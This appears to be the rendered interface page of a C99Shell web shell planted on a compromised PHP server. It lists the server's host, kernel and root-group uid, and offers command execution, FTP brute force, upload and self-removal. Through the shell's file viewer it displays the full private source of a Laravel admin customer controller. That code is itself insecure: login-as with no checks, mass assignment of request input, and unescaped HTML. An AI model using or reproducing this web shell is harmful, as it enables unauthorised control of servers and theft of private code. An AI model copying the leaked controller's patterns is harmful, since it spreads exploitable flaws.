!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html_v1_1/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerController.php (9.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\AuthorizationToken;
use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\CustomerEmailLog;
use 
App\Models\CustomerSettings;
use 
App\Models\CustomerWallet;
use 
App\Models\Label;
use 
App\Models\Number;
use 
App\Models\Order;
use 
App\Models\OrderDetails;
use 
App\Models\Plan;
use 
App\Models\SenderId;
use 
App\Models\Transaction;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Mail;

class 
CustomerController extends Controller
{
    public function 
index()
    {
        return 
view('admin.customers.index');
    }

    public function 
getAll()
    {
        
$customers Customer::with(['wallet'])->select(['id''first_name''last_name''email''status''created_at']);
        return 
datatables()->of($customers)
            ->
addColumn('status', function ($q) {
                if(
$q->status=='Active'){
                    
$status='<span class="badge bg-green">Active</span>';
                }else{
                    
$status='<span class="badge bg-danger">Inactive</span>';
                }
                return 
$status;
            })
            ->
addColumn('profile', function ($q) {
                return 
$q->full_name.'<br>' '<div class="email-address">' .$q->email'</div>' ;
            })
            ->
addColumn('created_at', function ($q) {
                return 
formatDate($q->created_at);
            })
            ->
addColumn('balance', function ($q) {
                if (
$q->wallet){
                    
$wallet $q->wallet->amount;
                }else{
                    
$wallet 0;
                }
                return 
formatNumberWithCurrSymbol($wallet);
            })
            ->
addColumn('action', function (Customer $q) {

                return 
'<div class="btn-group-vertical">
                                            <div class="btn-group">
                                            <i class="fa fa-ellipsis-h text-success" type="button" data-toggle="dropdown" aria-expanded="false"></i>
                                            <ul class="dropdown-menu" style="">
                                            <li><a class="dropdown-item data-customer" data-url="'
.route('admin.customers.update',[$q]).'" data-id="'.$q->id.'" data-first-name="'.$q->first_name.'" data-last-name="'.$q->last_name.'" data-email="'.$q->email.'" data-status="'.$q->status.'"  data-toggle="modal" data-target="#threedot" href="#">Edit</a></li>
                                            <li><a class="dropdown-item" href="#"  data-message="You will be logged in as customer?"
                                        data-action='
.route('admin.customer.login.ass').'
                                        data-input={"id":'
.$q->id.'}
                                        data-toggle="modal" data-target="#modal-confirm" >Login as</a></li>
                                            <li><a class="dropdown-item customRate" href="#" data-id="'
.$q->id.'">Custom Rate</a></li>
                                             <li><a class="dropdown-item addOrSubtractBalanceBtn" href="#" data-id="'
.$q->wallet->id.'" data-balance="'.$q->wallet->amount.'">Add/Subtract Balance</a></li>
                                             <li><a class="dropdown-item customerMailModalBtn" href="#" data-email="'
.$q->email.'">Send Mail</a></li>
                                             <li><a class="dropdown-item" href="#" data-message="Are you sure you want to delete ?"
                                        data-action='
.route('admin.customers.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" >Delete</a></li>
                                            </ul>
                                            </div>
                                            </div>' 
;

            })
            ->
rawColumns(['action','profile','status'])
            ->
toJson();
    }
    public function 
create()
    {
        return 
view('admin.customers.create');
    }
    public function  
destroy(Customer $customer){
        
$orders $customer->orders()->get();
        foreach (
$orders as $order){
           
$order->orderdetails()->delete();
        }
        
$customer->orders()->delete();
        
$customer->deposit()->delete();
        
$customer->wallet()->delete();
        
$customer->transactions()->delete();
        
$customer->delete();
        return 
back()->with('success''Customer successfully deleted');
    }
    public function 
store(Request $request)
    {
        
$request->validate([
            
'first_name' => 'required',
            
'last_name' => 'required',
            
'email' => 'required|unique:customers',
            
'password' => 'required',
            
'status' => 'required|in:active,inactive',
        ]);

        
$request['email_verified_at']=now();

        
$customer=auth()->user()->customers()->create($request->all());

        
$access_token$customer->createToken($customer->email)->plainTextToken;
        
$preToken AuthorizationToken::where('customer_id'$customer->id)->first();
        
$authorization = isset($preToken) ? $preToken : new AuthorizationToken();
        
$authorization->access_token $access_token;
        
$authorization->customer_id=$customer->id;
        
$authorization->refresh_token $access_token;
        
$authorization->save();

        
$customer->wallet()->create(['amount'=> 0]);
        return 
back()->with('success''Customer successfully created');
    }

    public function 
edit(Customer $customer)
    {
        
$data['customer'] = $customer;
        return 
view('admin.customers.edit'$data);
    }

    public function 
update(Customer $customerRequest $request)
    {
        
$request->validate([
            
'first_name' => 'required',
            
'last_name' => 'required',
            
'email' => 'required|unique:customers,email,' $customer->id,
            
'status' => 'required'
        
]);

        
//Check for password availability
        
if (!$request->password) unset($request['password']);

        
//update the model
        
$customer->update($request->all());

        return 
back()->with('success''Customer successfully updated');
    }

    public function 
loginAs(Request $request){
        if(!
$request->idabort(404);
        
auth('customer')->loginUsingId($request->id);
        return 
redirect()->route('customer.dashboard')->with('success',trans('You are now logged as customer'));
    }
    public function 
mailSend(Request $request){
        
$request->validate([
            
'recipient_mail' => 'required',
            
'email_subject' => 'required',
            
'email_body' => 'required',
        ]);
        try {
            
$regTemp $request->email_body;
            
SendMail::dispatch($request->recipient_mail$request->email_subject$regTemp);
        } catch (
\Exception $ex) {
            return 
redirect()->back()->withErrors(['msg' => trans('Invalid email credentials')]);
        }
        
CustomerEmailLog::create($request->all());
        return 
redirect()->back()->with('success',trans('Email successfully send'));
    }
    public function 
balanceUpdate(Request $request){
        
$request->validate([
            
'id' => 'required|numeric',
            
'type' => 'required|in:add,subtract',
            
'amount' => 'required|numeric',
        ]);
        
$wallet CustomerWallet::where('id',$request->id)->firstOrFail();

        if (
$request->type == 'add'){
            
Transaction::create([
                
'customer_id'=> $wallet->customer_id,
                
'amount'=> $request->amount,
                
'payment_type'=> 'offline',
                
'type'=> 'add',
                
'payment_status'=> 'paid',
                
'status'=> 'approved',
            ]);
            
$amount $wallet->amount $request->amount;
        }elseif (
$request->type == 'subtract'){
            if (
$wallet->amount $request->amount){
                return 
redirect()->back()->withErrors(['msg' => trans('admin.balance_test')]);
            }
            
Transaction::create([
                
'customer_id'=> $wallet->customer_id,
                
'amount'=> $request->amount,
                
'payment_type'=> 'offline',
                
'type'=> 'subtract',
                
'payment_status'=> 'paid',
                
'status'=> 'approved',
            ]);
            
$amount $wallet->amount $request->amount;
        }
        
$wallet->update(['amount'=>$amount]);
        return 
redirect()->back()->with('success',trans('Customer wallet balance successfully updated'));
    }
    public function 
servicePurchase(Request $request){

        
$orders Order::where('customer_id',$request->id)->where('status','pending')->pluck('id');
        
$orderdetails=OrderDetails::whereIn('order_id',$orders)->get();
        
$services = [];
        foreach (
$orderdetails as $order){
            if (
$order && $order->service){
                
$services[] = [
                    
'name'=>$order->service->name,
                    
'rate_per'=>$order->service->rate_per,
                    
'charges'=>$order->charges,
                    
'order_quantity'=>$order->order_quantity,
                    
'service_id'=>$order->service_id,
                ];
            }

        }

        
$serviceUniques = array();
        foreach (
$services as $service) {
            
$serviceUniques[$service['name']] = $service;
        }
        return 
response()->json(['status'=>'success','data'=>$serviceUniques]);
    }
    public function 
customRateStore(Request $request){
        
$request->validate([
            
'service_id' => 'required|numeric',
            
'customer_charges' => 'required|numeric',
        ]);
        
OrderDetails::where('service_id',$request->service_id)->update(['charges'=>$request->customer_charges]);
        return 
redirect()->back()->with('success',trans('Customer charges successfully updated'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--